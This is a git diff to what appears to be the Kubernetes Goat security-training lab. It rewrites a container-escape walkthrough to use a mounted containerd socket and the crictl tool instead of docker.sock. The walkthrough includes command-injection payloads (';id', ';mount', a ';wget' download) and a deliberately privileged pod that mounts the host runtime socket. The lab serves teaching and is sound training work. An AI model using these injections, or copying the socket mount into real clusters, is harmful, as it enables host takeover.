diff --git a/guide/docs/scenarios/images/sc-2-3.png b/guide/docs/scenarios/images/sc-2-3.png index 0d47d2d5..43995f4e 100644 Binary files a/guide/docs/scenarios/images/sc-2-3.png and b/guide/docs/scenarios/images/sc-2-3.png differ diff --git a/guide/docs/scenarios/images/sc-2-4.png b/guide/docs/scenarios/images/sc-2-4.png index 413f140e..a736818a 100644 Binary files a/guide/docs/scenarios/images/sc-2-4.png and b/guide/docs/scenarios/images/sc-2-4.png differ diff --git a/guide/docs/scenarios/images/sc-2-6.png b/guide/docs/scenarios/images/sc-2-6.png index 4b1eed8d..b85e8f2b 100644 Binary files a/guide/docs/scenarios/images/sc-2-6.png and b/guide/docs/scenarios/images/sc-2-6.png differ diff --git a/guide/docs/scenarios/images/sc-2-containerd-1.png b/guide/docs/scenarios/images/sc-2-containerd-1.png new file mode 100644 index 00000000..c1a3ebc8 Binary files /dev/null and b/guide/docs/scenarios/images/sc-2-containerd-1.png differ diff --git a/guide/docs/scenarios/images/sc-2-containerd-2.png b/guide/docs/scenarios/images/sc-2-containerd-2.png new file mode 100644 index 00000000..12fc468a Binary files /dev/null and b/guide/docs/scenarios/images/sc-2-containerd-2.png differ diff --git a/guide/docs/scenarios/images/sc-4-3.png b/guide/docs/scenarios/images/sc-4-3.png index b864b555..30e49094 100644 Binary files a/guide/docs/scenarios/images/sc-4-3.png and b/guide/docs/scenarios/images/sc-4-3.png differ diff --git a/guide/docs/scenarios/scenario-2/scenario-2.md b/guide/docs/scenarios/scenario-2/scenario-2.md index b5307e0d..c7d42182 100644 --- a/guide/docs/scenarios/scenario-2/scenario-2.md +++ b/guide/docs/scenarios/scenario-2/scenario-2.md @@ -22,7 +22,7 @@ By the end of the scenario, we will understand and learn the following ### ⚡️ The story -Most of the CI/CD and pipeline systems use the underlying host Docker runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system by escaping out of the docker container. +Most of the CI/CD and pipeline systems use the underlying host container runtime to build containers for you within the pipeline by using something called DIND (docker-in-docker) with a UNIX socket. Here in this scenario, we try to exploit this misconfiguration and gain access to the host system of the worker node by escaping out of the docker container. :::info @@ -34,7 +34,7 @@ Most of the CI/CD and pipeline systems use the underlying host Docker runtime to ### 🎯 Goal -The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on the host system. +The goal of this scenario is to escape out of the running docker container to the host system where the container is running and able to access and perform actions on other container running on the same node. :::tip @@ -54,7 +54,7 @@ If you can able to obtain container images in the host system then you have comp
✨ Able to run system commands, not sure how to access containers?
-
Identify the mounted UNIX socket volume, and use docker binary to communicate with that with -H flag 🎉
+
Identify the mounted UNIX socket volume, and use the crictl binary to communicate with that with -r flag 🎉
@@ -62,23 +62,6 @@ If you can able to obtain container images in the host system then you have comp ### 🎲 Method 1 -- Start by checking that DNS resolution is working for your cluster. If this doesn't work, check to see if you have a DNS service like CoreDNS running on your cluster. - -```bash -www.google.com -``` - -:::tip -- if you get your local domain appended, try using - -```bash -www.google.com. -``` - -- If you have to do this, you should always add a . after a url, even in wget commands. The extra dot is required is that kubernetes has a default option of ndots:5 in /etc/resolv.conf, which is verifiable in this scenario. This means that unless a minimum of 5 dots are present, the domain is not assumed to be a FQDN. -::: - - - By looking at the application functionality and dabbling with the input and output, we can see it has standard command injection vulnerability. Assuming it's running in a Linux container we can use the `;` delimiter to run/pass other commands ```bash @@ -89,7 +72,7 @@ www.google.com. - As we can see it returns the response for the `id` command, now we can analyze the system and see what potential information we can obtain -- It contains `docker.sock` mounted into the file system as it's not available commonly in standard systems +- It contains `containerd.sock` mounted into the file system as it's not available commonly in standard systems ```bash ; mount @@ -97,44 +80,45 @@ www.google.com. ![Scenario 2 mount](../images/sc-2-3.png) -- Wow! we can see the `/custom/docker/docker.sock` mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket +- Wow! we can see the `/custom/containerd/containerd.sock` mounted in the file system and assuming it's mounted from the host system we need to talk to it for communicating with the UNIX socket :::tip -We can use multiple methods for communicating with the `docker.sock` UNIX socket. Some of them include [official docker binary](https://download.docker.com/linux/static/stable/), or a simple `curl` program as well. +We can use multiple methods for communicating with the `containerd.sock` UNIX socket. Some of them include [crictl binary](https://github.com/kubernetes-sigs/cri-tools/blob/master/docs/crictl.md), or a simple `curl` program as well. ::: -- Next we can download the official `docker` static binary from the internet [https://download.docker.com/linux/static/stable/](https://download.docker.com/linux/static/stable/). In order to determine which binary we need, we can run the following command for system discovery +- Next we can download the `crictl` static binary from the internet [https://github.com/kubernetes-sigs/cri-tools/releases](https://github.com/kubernetes-sigs/cri-tools/releases). In order to determine which binary we need, we can run the following command for system discovery ```bash ;uname -a ``` -- We can examine the output to determine our system architecture and OS, then download the appropriate docker binary to the container. For example, if our target system is a x86\_64 Linux box, we can use the following command +- We can examine the output to determine our system architecture and OS, then download the appropriate binary to the container. For example, if our target system is a x86\_64 Linux box, we can use the following command ```bash -;wget https://download.docker.com/linux/static/stable/x86_64/docker-19.03.9.tgz -O /tmp/docker-19.03.9.tgz +;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz ``` -- We can extract the binary from the `docker-19.03.9.tgz` file so that we can use that to talk to the UNIX socket +- We can extract the binary from the `crictl-v1.27.1.tgz` file so that we can use that to talk to the UNIX socket ```bash -;tar -xvzf /tmp/docker-19.03.9.tgz -C /tmp/ +;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/ ``` ![Scenario 2 extract binary](../images/sc-2-4.png) -- Now we can access the host system by running the following docker commands with passing `docker.sock` UNIX socket +- Now we can access the host system by running the following crictl commands with passing `containerd.sock` UNIX socket ```bash -;/tmp/docker/docker -H unix:///custom/docker/docker.sock images +;/tmp/crictl -r unix:///custom/containerd/containerd.sock images ``` ![Scenario 2 list host images](../images/sc-2-6.png) -- Hooray 🥳 , now we can see that it has a lot of container images in the host system. We can now use different docker commands to gain more access and further exploitation +- Hooray 🥳 , now we can see that it has a lot of container images in the host system. We can now use different crictl commands to gain more access and further exploitation -## 🔖 References +:::tip -- [Protect the Docker daemon socket](https://docs.docker.com/engine/security/protect-access/) +You can do the analog steps with `ctr` and interact with the containerd runtime. `crictl` shows you containers as visible in kubernetes. `ctr` shows also additional containers, such as kubernetes hidden pause containers. +::: \ No newline at end of file diff --git a/platforms/kind-setup/kind-cluster-setup.yaml b/platforms/kind-setup/kind-cluster-setup.yaml index 715cd3d1..d49670e5 100644 --- a/platforms/kind-setup/kind-cluster-setup.yaml +++ b/platforms/kind-setup/kind-cluster-setup.yaml @@ -1,7 +1,4 @@ kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - - role: control-plane - extraMounts: - - hostPath: /var/run/docker.sock - containerPath: /var/run/docker.sock \ No newline at end of file + - role: control-plane \ No newline at end of file diff --git a/platforms/kind-setup/setup-kind-cluster-and-goat.sh b/platforms/kind-setup/setup-kind-cluster-and-goat.sh index 4fe94ab3..4579a67c 100644 --- a/platforms/kind-setup/setup-kind-cluster-and-goat.sh +++ b/platforms/kind-setup/setup-kind-cluster-and-goat.sh @@ -29,4 +29,4 @@ kind create cluster --config kind-cluster-setup.yaml --name kubernetes-goat-clus cd ../.. # Setup GOAT exposing host Docker socket: -sed 's/scenarios\/health-check\/deployment.yaml/scenarios\/health-check\/deployment-kind.yaml/' setup-kubernetes-goat.sh | sh +sh setup-kubernetes-goat.sh diff --git a/scenarios/health-check/deployment-kind.yaml b/scenarios/health-check/deployment-kind.yaml deleted file mode 100644 index 164610ee..00000000 --- a/scenarios/health-check/deployment-kind.yaml +++ /dev/null @@ -1,46 +0,0 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: health-check-deployment - namespace: default -spec: - selector: - matchLabels: - app: health-check - template: - metadata: - labels: - app: health-check - spec: - containers: - - name: health-check - image: madhuakula/k8s-goat-health-check - resources: - limits: - memory: "100Mi" - cpu: "30m" - ports: - - containerPort: 80 - # Custom Stuff - securityContext: - privileged: true - volumeMounts: - - mountPath: /custom/docker/docker.sock - name: docker-sock-volume - volumes: - - name: docker-sock-volume - hostPath: - path: /var/run/docker.sock ---- -apiVersion: v1 -kind: Service -metadata: - name: health-check-service - namespace: default -spec: - ports: - - protocol: TCP - port: 80 - targetPort: 80 - selector: - app: health-check diff --git a/scenarios/health-check/deployment.yaml b/scenarios/health-check/deployment.yaml index b0ce408b..ef7785ee 100644 --- a/scenarios/health-check/deployment.yaml +++ b/scenarios/health-check/deployment.yaml @@ -24,12 +24,12 @@ spec: securityContext: privileged: true volumeMounts: - - mountPath: /custom/docker/docker.sock - name: docker-sock-volume + - mountPath: /custom/containerd/containerd.sock + name: containerd-sock-volume volumes: - - name: docker-sock-volume + - name: containerd-sock-volume hostPath: - path: /var/run/docker.sock + path: /run/containerd/containerd.sock type: Socket --- apiVersion: v1